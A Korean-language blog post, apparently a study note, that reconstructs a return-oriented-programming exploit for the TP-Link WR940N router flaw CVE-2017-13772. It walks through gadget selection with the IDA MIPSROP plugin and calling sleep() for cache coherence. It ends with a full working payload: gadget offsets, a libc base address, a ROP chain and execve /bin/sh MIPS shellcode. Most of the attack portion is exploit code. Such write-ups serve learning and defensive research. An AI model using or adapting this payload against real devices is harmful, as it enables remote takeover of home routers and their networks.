Self-Improvement

MIPS ROP Case 2 (Shellcode, MIPSROP IDA Plugin) 본문

MIPS

MIPS ROP Case 2 (Shellcode, MIPSROP IDA Plugin)

JoGeun 2021. 3. 24. 16:39

fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/

 

Remote Code Execution (CVE-2017-13772) Walkthrough on a TP-Link Router - Fidus Information Security

Introduction In this post, I will be discussing my recent findings while conducting vulnerability research on a home router: TP-Link’s WR940N home WiFi router. This post will outline the steps taken to identify vulnerable code paths, and how we can explo

fidusinfosec.com

실제 실습할 수 있는 장비가 없기 때문에 위 블로그의 내용을 바탕으로 이해한 것을 적어보자.

Shellcode 형식의 ROP를 진행하기 위해선 Sleep() 함수를 호출하여 캐시 coherence를 해결한다.

 

ROP

BOF가 발생하는 httpd 바이너리의 ipAddrDispose()함수에서의 에필로그 부분이다.

스택에 있는 값을 $ra, $s1, $s0에 저장한 뒤 $ra(var_4($sp))의 값으로 jump 한다.

libuClibc-0.9.30.so 라이브러리 파일에서 가젯들을 찾아주며 IDA의 MIPSROP 플러그인 기능을 사용한다.

(ASLR이 걸려 있다면 라이브러리에서의 가젯을 사용 불가능)

 

가젯 1 ( 0x55C60 + Lib_base_Addr)

sleep() 함수를 호출할 때 사용할 인자를 셋팅해줄 가젯을 찾아준다.

mipsrop.find("li $a0, 1")

 

목록 중 2번째 0x55c60을 확인해본다.

1. $a0에 1을 넣는다

2. $s1의 값을 $t9로 넣는다

3. $t9에 있는 값으로 jump 한다. ($s1 = $t9)

sleep() 함수를 호출할 가젯은 찾았으니 sleep()를 호출하고 ROP를 이어나갈 가젯을 찾아준다.

 

가젯2 ( 0x35840 + Lib_base_Addr)

$ra를 셋팅해주는 에필로그 가젯을 찾아주자

mipsrop.tail()

 

목록 중 2번째 0x35840를 확인해본다

1. $s1을 $t9에 셋팅한다

2. var_4($sp)의 값을 $ra에 셋팅한다

3. var_8($sp)의 값을 $s1에 셋팅한다

4. var_C($sp)의 값을 $s0에 셋팅한다

5. $a0에 0xC를 더한다. (sleep 시간이 늘어나겠구만)

6. 스택의 크기 0x28를 정리한다. (분기지연슬롯 특징)

7. $t9에 저장된 값으로 jump 한다. ($s1 = $t9)

 

Sleep 함수 ( 0x53CA0 + Lib_base_Addr)

라이브러리에 sleep() 함수의 offset을 구해보면 0x53CA0이다.

 


 

중간점검

현재까지 가젯1, 가젯2, sleep() 함수 offset 주소를 얻었기에 sleep()를 호출하는 페이로드를 조합해본다.

BOF가 발생한 에필로그 부분을 다시 확인해보면 $ra, $s1, $s0을 셋팅해줄 수 있다.

 

가젯1 에서는 $s1의 값으로 jump를 하게되며 이때 $s1은 가젯2를 가리키고 있어야 한다. ($s1은 BOF가 발생한 에필로그 부분에서 설정할 수 있다.)

 

가젯2 에서는 $s1이 가젯2 주소 0x35840 값을 가지고 있어서 한번 더 가젯2를 호출하게 되는 형식이다. (총 2번을 진행한다)

1. 처음 가젯2가 호출될때 $ra, $s1, $s0값을 정할 수 있음으로 $s1을 셋팅해주는 var_8($sp)에 sleep() 함수 주소를 넣어주는 것이다.

2. 두 번째 가젯2가 호출될 경우엔 $s1에 sleep() 주소로 설정되어 있음으로 결국 sleep() 함수가 호출될것이다.

* sleep() 함수가 호출되고 되돌아갈 $ra는 가젯2가 두 번째 호출될때 셋팅해줄 수 있음올 가젯3으로 셋팅하면 가젯3으로 가져서 ROP가 이어진다. (중간점검 끝나고 내용 나옴)

 

중간 Payload

next_gadget은 이제 shellcode를 실행하기 위한 가젯들을 찾은 후 넣어 줄 것이다.

payload  = 'A' * 160
payload += 'A' * 4                        # $s0
payload += p32(libc_base + gadget2)       # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1)       # first_ra = mipsrop.find("li $a0, 1")

payload += 'B' * 16                       # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4                        # gadget2_1 $s0
payload += p32(libc_base + sleep)         # gadget2_1 $s1
payload += 'B' * 4                        # gadget2_1 $ra

payload += 'C' * 16                       # gadget2_2 stack size $(sp+0x28)
payload += 'C' * 4                        # gadget2_2 $s0
payload += 'C' * 4                        # gadget2_2 $s1
payload += next_gadget                    # gadget2_2 $ra

 


 

가젯3 ( 0x164C0 + Lib_base_Addr)

중간 점거에서 보았듯이 sleep() 함수가 끝나고 이제는 shellcode를 실행할 가젯들을 찾아줘야 한다.

먼저 shellcode는 스택에 저장을 하고 실행하기 때문에 스택의 주소를 갖는 가젯을 찾아본다.

mipsrop.stackfinder()

 

0x164C0 가젯을 확인해본다.

1. var_180의 스택 주소값을 $s2에 설정한다. (0x198의 스택크기를 가지고있어서 쉘코드 가능)

2. $v1을 $a2에 설정한다

3. $s0을 $t9에 설정한다. (다음 가젯을 위해 사전에 가젯2에서 $s0 셋팅)

4. $t9로 jump ($s0 = $t9)

 

가젯4 ( 0x4BCF0+ Lib_base_Addr)

가젯3에서 $s2에 var_180 스택 주소값이 설정되어있기에 이제 $s2로 jump하는 가젯을 찾아준다.

mipsrop.find("move $t9, $s2")

 

0x4BCF0 가젯을 확인해본다.

1. $s2를 $t9dp 설정한다

2. $t9로 jump 한다. ($s2 = $t9)

* 즉 스택의 주소로 jump하게 되고 해당 스택에 쉘코드가 있으면 실행

 

최종 결과

가젯3에서 가젯4로 가기위하여 가젯2에서 $s0에 추가적인 설정이 필요하다.

payload  = 'A' * 160
payload += 'A' * 4                        # $s0
payload += p32(libc_base + gadget2)       # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1)       # first_ra = mipsrop.find("li $a0, 1")

payload += 'B' * 16                       # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4                        # gadget2_1 $s0
payload += p32(libc_base + sleep)         # gadget2_1 $s1
payload += 'B' * 4                        # gadget2_1 $ra

payload += 'C' * 16                       # gadget2_2 stack size $(sp+0x28)
payload += p32(libc_base + gadget4)       # gadget2_2 $s0
payload += 'C' * 4                        # gadget2_2 $s1
payload += p32(libc_base + gadget3)       # gadget2_2 $ra

 

가젯3에서 할당받은 스택의 주소는 var_180 값이고 스택의 크기는 0x198임으로 그 사이에 padding 값을 0x20 넣어주고 쉘코드를 붙혀주면 된다.

payload  = 'A' * 160
payload += 'A' * 4                        # $s0
payload += p32(libc_base + gadget2)       # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1)       # first_ra = mipsrop.find("li $a0, 1")

payload += 'B' * 16                       # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4                        # gadget2_1 $s0
payload += p32(libc_base + sleep)         # gadget2_1 $s1
payload += 'B' * 4                        # gadget2_1 $ra

payload += 'C' * 16                       # gadget2_2 stack size $(sp+0x28)
payload += p32(libc_base + gadget4)       # gadget2_2 $s0
payload += 'C' * 4                        # gadget2_2 $s1
payload += p32(libc_base + gadget3)       # gadget2_2 $ra

payload += 'D' * 20                       # gadget3 stack (0x198) - var_180 = padding
payload += shellcode

 

종합

libc_base = 0x2aae000
sleep = 0x53CA0
gadget1 = 0x55C60
gadget2 = 0x35840
gadget3 = 0x164C0
gadget4 = 0x4BCF0

# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload  = 'A' * 160
payload += 'A' * 4                        # $s0
payload += p32(libc_base + gadget2)       # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1)       # first_ra = mipsrop.find("li $a0, 1")

payload += 'B' * 16                       # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4                        # gadget2_1 $s0
payload += p32(libc_base + sleep)         # gadget2_1 $s1
payload += 'B' * 4                        # gadget2_1 $ra

payload += 'C' * 16                       # gadget2_2 stack size $(sp+0x28)
payload += p32(libc_base + gadget4)       # gadget2_2 $s0
payload += 'C' * 4                        # gadget2_2 $s1
payload += p32(libc_base + gadget3)       # gadget2_2 $ra

payload += 'D' * 20                       # gadget3 stack (0x198) - var_180 = padding
payload += shellcode